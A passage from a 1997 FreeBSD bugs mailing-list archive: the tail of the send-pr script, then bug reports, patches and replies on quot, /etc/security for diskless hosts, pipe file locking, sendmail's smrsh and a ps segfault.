"$CONFIDENTIAL" in ""|yes|no) CNT=`expr $CNT + 1` ;; *) echo "$COMMAND: \`$CONFIDENTIAL' is not a valid value for \`Confidential'." ;; esac # # 2) Severity # PATTERN=">Severity:" SEVERITY=`eval sed -n -e "\"$SED_CMD\"" $TEMP` case "$SEVERITY" in ""|non-critical|serious|critical) CNT=`expr $CNT + 1` ;; *) echo "$COMMAND: \`$SEVERITY' is not a valid value for \`Severity'." esac # # 3) Priority # PATTERN=">Priority:" PRIORITY=`eval sed -n -e "\"$SED_CMD\"" $TEMP` case "$PRIORITY" in ""|low|medium|high) CNT=`expr $CNT + 1` ;; *) echo "$COMMAND: \`$PRIORITY' is not a valid value for \`Priority'." esac # # 4) Category # PATTERN=">Category:" CATEGORY=`eval sed -n -e "\"$SED_CMD\"" $TEMP` FOUND= for C in $CATEGORIES do if [ "$C" = "$CATEGORY" ]; then FOUND=true ; break ; fi done if [ -n "$FOUND" ]; then CNT=`expr $CNT + 1` else if [ -z "$CATEGORY" ]; then echo "$COMMAND: you must include a Category: field in your report." else echo "$COMMAND: \`$CATEGORY' is not a known category." fi fi # # 5) Class # PATTERN=">Class:" CLASS=`eval sed -n -e "\"$SED_CMD\"" $TEMP` case "$CLASS" in ""|sw-bug|doc-bug|change-request|support) CNT=`expr $CNT + 1` ;; *) echo "$COMMAND: \`$CLASS' is not a valid value for \`Class'." esac # # 6) Release # PATTERN=">Release:" RELEASE=`eval sed -n -e "\"$SED_CMD\"" $TEMP` if [ -z "$RELEASE" ]; then echo "$COMMAND: you must include a Release: field in your report." else CNT=`expr $CNT + 1` fi [ $CNT -lt 6 -a -z "$BATCH" ] && echo "Errors were found with the problem report." while true; do if [ -z "$BATCH" ]; then $ECHON1 "a)bort, e)dit or s)end? $ECHON2" read input else if [ $CNT -eq 6 ]; then input=s else input=a fi fi case "$input" in a*) if [ -z "$BATCH" ]; then echo "$COMMAND: the problem report remains in $BAD and is not sent." mv $TEMP $BAD else echo "$COMMAND: the problem report is not sent." fi xs=1; exit ;; e*) trap "$TRAP_IGNORE_ACTION" 2 3 eval $EDIT $TEMP trap "$TRAP_ABORTSAVE_ACTION" 2 3 continue 2 ;; s*) break 2 ;; esac done done # # Remove comments and send the problem report # (we have to use patterns, where the comment contains regex chars) # # /^>Originator:/s;$ORIGINATOR;; sed -e " /^SEND-PR:/d /^>Organization:/,/^>[A-Za-z-]*:/s;$ORGANIZATION_C;; /^>Confidential:/s;<.*>;; /^>Synopsis:/s;$SYNOPSIS_C;; /^>Severity:/s;<.*>;; /^>Priority:/s;<.*>;; /^>Category:/s;$CATEGORY_C;; /^>Class:/s;<.*>;; /^>Release:/,/^>[A-Za-z-]*:/s;$RELEASE_C;; /^>Environment:/,/^>[A-Za-z-]*:/s;$ENVIRONMENT_C;; /^>Description:/,/^>[A-Za-z-]*:/s;$DESCRIPTION_C;; /^>How-To-Repeat:/,/^>[A-Za-z-]*:/s;$HOW_TO_REPEAT_C;; /^>Fix:/,/^>[A-Za-z-]*:/s;$FIX_C;; " $TEMP > $REF if $MAIL_AGENT < $REF; then echo "$COMMAND: problem report sent" xs=0; exit else echo "$COMMAND: mysterious mail failure." if [ -z "$BATCH" ]; then echo "$COMMAND: the problem report remains in $BAD and is not sent." mv $REF $BAD else echo "$COMMAND: the problem report is not sent." fi xs=1; exit fi From owner-freebsd-bugs Thu Aug 7 14:10:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA01268 for bugs-outgoing; Thu, 7 Aug 1997 14:10:06 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA01262; Thu, 7 Aug 1997 14:10:03 -0700 (PDT) Resent-Date: Thu, 7 Aug 1997 14:10:03 -0700 (PDT) Resent-Message-Id: <199708072110.OAA01262@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, gnat@frii.com Received: from himalia.frii.com (himalia.frii.com [208.146.240.8]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA01088 for ; Thu, 7 Aug 1997 14:05:42 -0700 (PDT) Received: (from gnat@localhost) by himalia.frii.com (8.8.5/8.7.3) id OAA28841; Thu, 7 Aug 1997 14:57:43 -0600 (MDT) Message-Id: <199708072057.OAA28841@himalia.frii.com> Date: Thu, 7 Aug 1997 14:57:43 -0600 (MDT) From: gnat@frii.com Reply-To: gnat@frii.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/4246: /usr/sbin/quot isn't 64-bit off_t clean Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4246 >Category: bin >Synopsis: /usr/sbin/quot isn't 64-bit off_t clean >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Aug 7 14:10:01 PDT 1997 >Last-Modified: >Originator: Nathan Torkington >Organization: Interchangeable Antipodeans, Inc. >Release: FreeBSD 2.2.2-RELEASE i386 >Environment: Found in FreeBSD 2.2.2. >Description: /usr/sbin/quot calls lseek() without casting the offset to off_t. This makes breakage on filesystems where the offset is > 2**31. >How-To-Repeat: Use quot on a big filesystem (4gig?). >Fix: gnat@himalia (quot) diff quot.c new-quot.c 97,98c97 < if (lseek(fd,ino_to_fsba(super,last) << super->fs_fshift,0) < 0 < || read(fd,ip,INOSZ(super)) != INOSZ(super)) { --- > if (lseek(fd,(off_t) ino_to_fsba(super,last) << super->fs_fshift,0) < (off_t)0 || read(fd,ip,INOSZ(super)) != INOSZ(super)) { >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Aug 7 14:26:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA01885 for bugs-outgoing; Thu, 7 Aug 1997 14:26:35 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA01877; Thu, 7 Aug 1997 14:26:30 -0700 (PDT) From: Steve Passe Received: (from fsmp@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id OAA00937; Thu, 7 Aug 1997 14:26:09 -0700 (PDT) Date: Thu, 7 Aug 1997 14:26:09 -0700 (PDT) Message-Id: <199708072126.OAA00937@freefall.freebsd.org> To: jin@iss-p1.lbl.gov, fsmp@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/3835 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: SMP kernel crash on enable "dumps on wd0" State-Changed-From-To: open-closed State-Changed-By: fsmp State-Changed-When: Thu Aug 7 14:25:02 PDT 1997 State-Changed-Why: Fixed in 3.0-current kern/init_main.c. From owner-freebsd-bugs Thu Aug 7 18:20:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA12941 for bugs-outgoing; Thu, 7 Aug 1997 18:20:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA12930; Thu, 7 Aug 1997 18:20:02 -0700 (PDT) Resent-Date: Thu, 7 Aug 1997 18:20:02 -0700 (PDT) Resent-Message-Id: <199708080120.SAA12930@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, clary@elec.uq.edu.au Received: (from nobody@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA12793; Thu, 7 Aug 1997 18:17:00 -0700 (PDT) Message-Id: <199708080117.SAA12793@hub.freebsd.org> Date: Thu, 7 Aug 1997 18:17:00 -0700 (PDT) From: clary@elec.uq.edu.au To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/4247: modification to /etc/security for FreeBSD diskless Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4247 >Category: bin >Synopsis: modification to /etc/security for FreeBSD diskless >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Thu Aug 7 18:20:01 PDT 1997 >Last-Modified: >Originator: Calry Harridge >Organization: University of Queensland >Release: FreeBSD 2.2.2-RELEASE >Environment: c4:/etc # uname -a FreeBSD c4.pc.elec.uq.edu.au 2.2.2-RELEASE FreeBSD 2.2.2-RELEASE #0: Tue Jun 10 12:03:20 EST 1997 clary@s6.pc.elec.uq.edu.au:/usr/src/sys/compile/DISKLESS i386 >Description: running /etc/security on a diskless host causes the command set $MP to be set which prints the set environment + set N=nohup.out MACHTYPE=i386 USER=clary ........ rather than the intention to set up a list of arguments >How-To-Repeat: run /etc/security from a diskless machine >Fix: Add a test on the string $MP # don't do if diskless, CH 8Aug97 if [ -n "$MP" ] then set $MP while test $# -ge 1; do mount=$1 shift find $mount -xdev -type f \ \( -perm -u+x -or -perm -g+x -or -perm -o+x \) \ \( -perm -u+s -or -perm -g+s \) -a -exec ls -lgTd {} ";" done > $TMP fi NOTE I have also not used the xargs program "as in the original code" because in some instances it fails to find suid and sgid files. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Aug 7 23:52:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA27579 for bugs-outgoing; Thu, 7 Aug 1997 23:52:44 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA27562; Thu, 7 Aug 1997 23:52:31 -0700 (PDT) From: Jun-ichiro Itoh Received: (from itojun@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id XAA04412; Thu, 7 Aug 1997 23:52:08 -0700 (PDT) Date: Thu, 7 Aug 1997 23:52:08 -0700 (PDT) Message-Id: <199708080652.XAA04412@freefall.freebsd.org> To: noroi@mob.or.jp, itojun@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/3360 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: su(1) cannot call MD4Init(3) from libskey State-Changed-From-To: open-closed State-Changed-By: itojun State-Changed-When: Thu Aug 7 23:48:45 PDT 1997 State-Changed-Why: From owner-freebsd-bugs Fri Aug 8 00:00:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA27937 for bugs-outgoing; Fri, 8 Aug 1997 00:00:06 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA27925; Fri, 8 Aug 1997 00:00:02 -0700 (PDT) Date: Fri, 8 Aug 1997 00:00:02 -0700 (PDT) Message-Id: <199708080700.AAA27925@hub.freebsd.org> To: freebsd-bugs Cc: From: tetsuya@secom-sis.co.jp (Tetsuya Furukawa) Subject: Re: kern/4243: file locking doesn't work for pipe Reply-To: tetsuya@secom-sis.co.jp (Tetsuya Furukawa) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/4243; it has been noted by GNATS. From: tetsuya@secom-sis.co.jp (Tetsuya Furukawa) To: peter@spinner.dialix.com.au Cc: dg@root.com, FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: kern/4243: file locking doesn't work for pipe Date: Fri, 8 Aug 1997 15:58:26 +0900 Peter Wemm wrote: >Yeah, it's kinda nonsensical, but useful in certain situations where the >same fd is shared between processes. The purpose that Apache's URL rewriting module locks a pipe is exactly that. The latest version of the module says: ---- /* The locking support for the RewriteMap programs: Locking a pipe to the child works fine under most Unix derivates, but braindead SunOS 4.1.x has problems with this approach... */ #define USE_PIPE_LOCKING 1 #ifdef SUNOS4 #undef USE_PIPE_LOCKING #endif ---- I made a simple program to check whether flock() works for a pipe. ---- #include #include #include #include #include int main() { int fds[2]; char c; pipe(fds); if (fork() == 0) { /* child */ flock(fds[1], LOCK_EX); sleep(2); exit(0); } /* parent */ sleep(1); if (flock(fds[1], LOCK_EX | LOCK_NB) == -1) { if (errno == EWOULDBLOCK) printf("flock works fine.\n"); else printf("flock fails: %s\n", strerror(errno)); } else printf("flock is discarded.\n"); return 0; } ---- Results: FreeBSD 2.2-STABLE i386 flock fails: Operation not supported FreeBSD 2.1.7.1-RELEASE i386 flock fails: Operation not supported Linux 2.0.29 i686 flock is discarded. Solaris 2.5.1 sparc flock works fine. Linux is really braindead. :-( I will send the results to the developer of the Apache's module and request to use the other locking method. -- Tetsuya FURUKAWA in Tokyo, Japan PGP Key fingerprint = C2 86 A6 7C 72 A0 A1 94 F4 4C 83 9D D1 E3 47 BD From owner-freebsd-bugs Fri Aug 8 00:40:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA29372 for bugs-outgoing; Fri, 8 Aug 1997 00:40:03 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA29344; Fri, 8 Aug 1997 00:40:01 -0700 (PDT) Date: Fri, 8 Aug 1997 00:40:01 -0700 (PDT) Message-Id: <199708080740.AAA29344@hub.freebsd.org> To: freebsd-bugs Cc: From: tetsuya@secom-sis.co.jp (Tetsuya Furukawa) Subject: Re: kern/4243: file locking doesn't work for pipe Reply-To: tetsuya@secom-sis.co.jp (Tetsuya Furukawa) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/4243; it has been noted by GNATS. From: tetsuya@secom-sis.co.jp (Tetsuya Furukawa) To: tetsuya@secom-sis.co.jp Cc: peter@spinner.dialix.com.au, dg@root.com, FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: kern/4243: file locking doesn't work for pipe Date: Fri, 8 Aug 1997 16:38:32 +0900 I'm sorry I had forgot the BSD flock's mechanism, so the following program I wrote is useless for BSD. >---- >#include >#include >#include >#include >#include > >int >main() >{ > int fds[2]; > char c; > > pipe(fds); > if (fork() == 0) { > /* child */ > flock(fds[1], LOCK_EX); > sleep(2); > exit(0); > } > > /* parent */ > sleep(1); > if (flock(fds[1], LOCK_EX | LOCK_NB) == -1) { > if (errno == EWOULDBLOCK) > printf("flock works fine.\n"); > else > printf("flock fails: %s\n", strerror(errno)); > } else > printf("flock is discarded.\n"); > return 0; >} >---- > >Results: > FreeBSD 2.2-STABLE i386 flock fails: Operation not supported > FreeBSD 2.1.7.1-RELEASE i386 flock fails: Operation not supported > Linux 2.0.29 i686 flock is discarded. > Solaris 2.5.1 sparc flock works fine. > >Linux is really braindead. :-( Solaris's behavier is compatible with SYSV. Linux's may be compatible with BSD. -- Tetsuya FURUKAWA in Tokyo, Japan PGP Key fingerprint = C2 86 A6 7C 72 A0 A1 94 F4 4C 83 9D D1 E3 47 BD From owner-freebsd-bugs Fri Aug 8 01:02:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA01204 for bugs-outgoing; Fri, 8 Aug 1997 01:02:57 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA01168; Fri, 8 Aug 1997 01:02:42 -0700 (PDT) From: Thomas Gellekum Received: (from tg@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id BAA05164; Fri, 8 Aug 1997 01:02:18 -0700 (PDT) Date: Fri, 8 Aug 1997 01:02:18 -0700 (PDT) Message-Id: <199708080802.BAA05164@freefall.freebsd.org> To: tg@FreeBSD.ORG, freebsd-ports@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: ports/1155 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: systat or top display disagreeing information Responsible-Changed-From-To: freebsd-ports->freebsd-bugs Responsible-Changed-By: tg Responsible-Changed-When: Fri Aug 8 01:01:22 PDT 1997 Responsible-Changed-Why: No longer a ports issue, now that top is in the base system. From owner-freebsd-bugs Fri Aug 8 01:35:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA02457 for bugs-outgoing; Fri, 8 Aug 1997 01:35:31 -0700 (PDT) Received: from extrouter.test.cdu.elektra.ru ([193.125.114.71]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA02430; Fri, 8 Aug 1997 01:35:13 -0700 (PDT) Received: (from smap@localhost) by extrouter.test.cdu.elektra.ru (8.8.6/8.8.6) id MAA02900; Fri, 8 Aug 1997 12:33:44 +0400 (MSD) Received: from mailhub.cdu.ru(172.16.10.50) by extrouter.test.cdu.elektra.ru via smap (V2.0) id xma002898; Fri, 8 Aug 97 12:33:43 +0400 Received: (from smap@localhost) by mailhub.cdu.ru (8.8.6/8.8.6) id MAA04227; Fri, 8 Aug 1997 12:34:23 +0400 (MSD) Message-Id: <199708080834.MAA04227@mailhub.cdu.ru> X-Authentication-Warning: mailhub.cdu.ru: smap set sender to using -f Received: from win95.cdu.ru(172.16.2.10) by mailhub.cdu.ru via smap (V2.0) id xma004225; Fri, 8 Aug 97 12:34:06 +0400 From: "Pavel P. Zabortsev" To: "FreeBSD questions" , "FreeBSD bugs" Subject: Problem with ncurses Date: Fri, 8 Aug 1997 12:35:53 +0400 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1157 MIME-Version: 1.0 Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello! I have a problem with ncurses on FreeBSD 2.2.2-RELEASE: I can't use "scr_dump" and "scr_restore" functions! When I saw through ncurses's sources I'll see, that file lib_screen.c is NOT compiled with other files! When I add this file to Makefile and make some corrections my problem will resolve. Maybe it is a bug? And where I can get new version of ncurses? Yours sincerely, Pavel ----------------------------------------------------------- Pavel P. Zabortsev, software engineer CDO UPS of Russia Tel.: (095) 220-4513, 220-4350 E-mail: ppz@cdu.elektra.ru ppz@usa.net ----------------------------------------------------------- From owner-freebsd-bugs Fri Aug 8 03:00:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA06724 for bugs-outgoing; Fri, 8 Aug 1997 03:00:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA06716; Fri, 8 Aug 1997 03:00:01 -0700 (PDT) Date: Fri, 8 Aug 1997 03:00:01 -0700 (PDT) Message-Id: <199708081000.DAA06716@hub.freebsd.org> To: freebsd-bugs Cc: From: tetsuya@secom-sis.co.jp (Tetsuya Furukawa) Subject: Re: kern/4243: file locking doesn't work for pipe Reply-To: tetsuya@secom-sis.co.jp (Tetsuya Furukawa) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/4243; it has been noted by GNATS. From: tetsuya@secom-sis.co.jp (Tetsuya Furukawa) To: peter@spinner.dialix.com.au Cc: dg@root.com, FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: kern/4243: file locking doesn't work for pipe Date: Fri, 8 Aug 1997 18:58:53 +0900 Since I remembered the proper specification of flock(), I also think that flock() for a file descriptor shared among different processes is obviously useless. But fcntl() for a shared file descriptor may be useful because fcntl() has the other specification. In fact, the following program prints "fcntl works fine." on FreeBSD 2.2-STABLE i386. ---- #include #include #include #include #include #include int main() { int fd; struct flock flbuf; char c; flbuf.l_start = 0; flbuf.l_len = 0; flbuf.l_type = F_WRLCK; flbuf.l_whence = SEEK_SET; fd = open("lockfile", O_WRONLY | O_CREAT, 0666); if (fork() == 0) { /* child */ fcntl(fd, F_SETLKW, &flbuf); sleep(2); exit(0); } /* parent */ sleep(1); if (fcntl(fd, F_SETLK, &flbuf) == -1) { if (errno == EAGAIN) printf("fcntl works fine.\n"); else printf("fcntl fails: %s\n", strerror(errno)); } else printf("fcntl is discarded.\n"); return 0; } ---- File locking for a pipe by fcntl() fails on FreeBSD. I think the priority of supporting it is low. To the developer of the Apache's module, I suggested to do fcntl() for a temporary file. -- Tetsuya FURUKAWA in Tokyo, Japan PGP Key fingerprint = C2 86 A6 7C 72 A0 A1 94 F4 4C 83 9D D1 E3 47 BD From owner-freebsd-bugs Fri Aug 8 07:50:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA22240 for bugs-outgoing; Fri, 8 Aug 1997 07:50:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA22230; Fri, 8 Aug 1997 07:50:02 -0700 (PDT) Resent-Date: Fri, 8 Aug 1997 07:50:02 -0700 (PDT) Resent-Message-Id: <199708081450.HAA22230@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, kuku@wcarchive.cdrom.com, org@gilberto.physik.RWTH-Aachen.DE Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA21903 for ; Fri, 8 Aug 1997 07:43:29 -0700 (PDT) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.31.2]) by Campino.Informatik.RWTH-Aachen.DE (RBI-Z-5/8.6.12) with ESMTP id QAA23731 for ; Fri, 8 Aug 1997 16:44:25 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id QAA06966; Fri, 8 Aug 1997 16:45:26 +0200 (MEST) Message-Id: <199708081445.QAA06966@gil.physik.rwth-aachen.de> Date: Fri, 8 Aug 1997 16:45:26 +0200 (MEST) From: kuku@wcarchive.cdrom.com, org@gilberto.physik.RWTH-Aachen.DE Reply-To: kuku@wcarchive.cdrom.com, org@gilberto.physik.RWTH-Aachen.DE To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: misc/4249: NIS ypchsh doesn change shell Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4249 >Category: misc >Synopsis: ypchsh doesn't care about changing a user shell >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Aug 8 07:50:01 PDT 1997 >Last-Modified: >Originator: Christoph Kukulies >Organization: I. PHysikalisches Institut RWTH Aachen >Release: FreeBSD 3.0-CURRENT i386 >Environment: 3.0-current of June/Juli NIS/YP server and dito clients >Description: changing the user shell on a NIS client e.g. from tcsh to sh doesn't result in an effective chane in the server database. >How-To-Repeat: login into client as normal user. tcsh> ypchsh the editor comes up with a password file fields. change the shell field to sh. logout login again shell did not change The logs (/var/yp/ypupdate.log) on the server show that there has been activity upon the client request, only there is no change. >Fix: currently none available >Audit-Trail: >Unformatted: From owner-freebsd-bugs Fri Aug 8 14:04:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA13780 for bugs-outgoing; Fri, 8 Aug 1997 14:04:20 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA13685; Fri, 8 Aug 1997 14:03:47 -0700 (PDT) From: Joerg Wunsch Received: (from joerg@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id OAA24085; Fri, 8 Aug 1997 14:03:16 -0700 (PDT) Date: Fri, 8 Aug 1997 14:03:16 -0700 (PDT) Message-Id: <199708082103.OAA24085@freefall.freebsd.org> To: ken1@earthlink.net, joerg@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/4230 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: Read Error when making boot disk from 2.2.2 Walnut Creek CDROM State-Changed-From-To: open-closed State-Changed-By: joerg State-Changed-When: Fri Aug 8 23:02:42 MEST 1997 State-Changed-Why: CD-ROM, or hardware problem. Nothing we can do anything about in the operating system. From owner-freebsd-bugs Fri Aug 8 22:40:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA08728 for bugs-outgoing; Fri, 8 Aug 1997 22:40:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA08718; Fri, 8 Aug 1997 22:40:02 -0700 (PDT) Resent-Date: Fri, 8 Aug 1997 22:40:02 -0700 (PDT) Resent-Message-Id: <199708090540.WAA08718@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, pgiffuni@fps.biblos.unal.edu.co Received: (from nobody@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA08536; Fri, 8 Aug 1997 22:32:09 -0700 (PDT) Message-Id: <199708090532.WAA08536@hub.freebsd.org> Date: Fri, 8 Aug 1997 22:32:09 -0700 (PDT) From: pgiffuni@fps.biblos.unal.edu.co To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: conf/4252: sendmail doesn't use smrsh by default Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4252 >Category: conf >Synopsis: sendmail doesn't use smrsh by default >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Fri Aug 8 22:40:01 PDT 1997 >Last-Modified: >Originator: Pedro F. Giffuni >Organization: Universidad Nacional de Colombia >Release: 2.2.2-Release >Environment: Non-relevant >Description: Please use smrsh in /etc/sendmail.cf as recommended by CERT's directives. >How-To-Repeat: It will probably be necessary to contact the maintainer of the port(s) that usually go into the .forward file and to sym link vacation(1). >Fix: Please add the proper m4 entry for both current and stable. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sat Aug 9 06:00:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA23085 for bugs-outgoing; Sat, 9 Aug 1997 06:00:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA23079; Sat, 9 Aug 1997 06:00:02 -0700 (PDT) Resent-Date: Sat, 9 Aug 1997 06:00:02 -0700 (PDT) Resent-Message-Id: <199708091300.GAA23079@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, jmr@ugcs.caltech.edu Received: (from nobody@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA22931; Sat, 9 Aug 1997 05:54:45 -0700 (PDT) Message-Id: <199708091254.FAA22931@hub.freebsd.org> Date: Sat, 9 Aug 1997 05:54:45 -0700 (PDT) From: jmr@ugcs.caltech.edu To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/4253: "ps o =" seg faults Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4253 >Category: bin >Synopsis: "ps o =" seg faults >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Aug 9 06:00:01 PDT 1997 >Last-Modified: >Originator: Jesse Rosenstock >Organization: >Release: 2.2-STABLE >Environment: FreeBSD tla.aa.net 2.2-STABLE FreeBSD 2.2-STABLE #0: Wed Jul 2 22:44:16 PDT 1997 jmr@tla.caltech.edu:/usr/src/sys/compile/TLA i386 >Description: "ps o =" seg faults >How-To-Repeat: ps o = >Fix: *** keyword.c.orig Sat Aug 9 05:44:10 1997 --- keyword.c Sat Aug 9 05:44:36 1997 *************** *** 345,352 **** if (!v) { warnx("%s: keyword not found", p); eval = 1; ! } ! if (hp) v->header = hp; return (v); } --- 345,351 ---- if (!v) { warnx("%s: keyword not found", p); eval = 1; ! } else if (hp) v->header = hp; return (v); } >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sat Aug 9 07:53:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA26545 for bugs-outgoing; Sat, 9 Aug 1997 07:53:29 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA26536; Sat, 9 Aug 1997 07:53:21 -0700 (PDT) From: Joerg Wunsch Received: (from joerg@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id HAA15796; Sat, 9 Aug 1997 07:52:46 -0700 (PDT) Date: Sat, 9 Aug 1997 07:52:46 -0700 (PDT) Message-Id: <199708091452.HAA15796@freefall.freebsd.org> To: richard@cogsci.ed.ac.uk, joerg@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/4228 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: unmounting mfs filesystem does bogus dns lookups State-Changed-From-To: open-closed State-Changed-By: joerg State-Changed-When: Sat Aug 9 16:52:08 MEST 1997 State-Changed-Why: This has already been fixed in rev 1.6/1.7 in -current. Fix merged into RELENG_2_2 in rev 1.4.6.2 as well. From owner-freebsd-bugs Sat Aug 9 08:38:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA28667 for bugs-outgoing; Sat, 9 Aug 1997 08:38:08 